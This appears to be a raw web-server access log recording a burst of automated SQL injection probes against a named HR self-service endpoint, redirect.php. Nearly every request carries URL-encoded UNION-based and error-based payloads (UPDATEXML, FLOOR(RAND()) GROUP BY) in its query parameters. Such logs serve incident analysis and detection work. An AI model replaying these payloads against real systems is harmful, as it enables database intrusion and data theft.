100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x376c5156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f365643%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FarTp%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x79415142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b57644f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIUFW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x79415142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b57644f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIUFW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f6c4d6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5769704e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1663%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f6c4d6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5769704e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1663%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x366d3036%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x485a4e72%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkc8L%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x366d3036%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x485a4e72%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkc8L%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x326a7255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e453159%29%2C5431%29--%2F%2A%2A%2FmQyD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x326a7255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e453159%29%2C5431%29--%2F%2A%2A%2FmQyD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x59463969%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45465673%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fb9bU%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x59463969%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45465673%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fb9bU%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d48534e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6273564a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1NbW%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d48534e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6273564a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1NbW%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b564639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x486d4d5a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FMMuZ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b564639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x486d4d5a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FMMuZ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5a413063%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79446a41%29%2C5431%29--%2F%2A%2A%2FF3kP&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5a413063%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79446a41%29%2C5431%29--%2F%2A%2A%2FF3kP&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x71543346%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61594f68%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FDHB6&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x71543346%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61594f68%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FDHB6&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x676c626b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64646833%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fc47b&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x676c626b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64646833%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fc47b&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a384e42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f51304a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FJ0Vd&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a384e42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f51304a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FJ0Vd&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x564d6f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59635569%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FDUMX%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x564d6f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59635569%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FDUMX%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x49794169%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73736331%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FqTZl%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x49794169%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73736331%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FqTZl%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x376c5156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f365643%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FarTp%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x79415142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b57644f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIUFW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f354c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b4e4f69%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgyJp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f354c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b4e4f69%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgyJp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42614534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36413278%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FTwXV%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 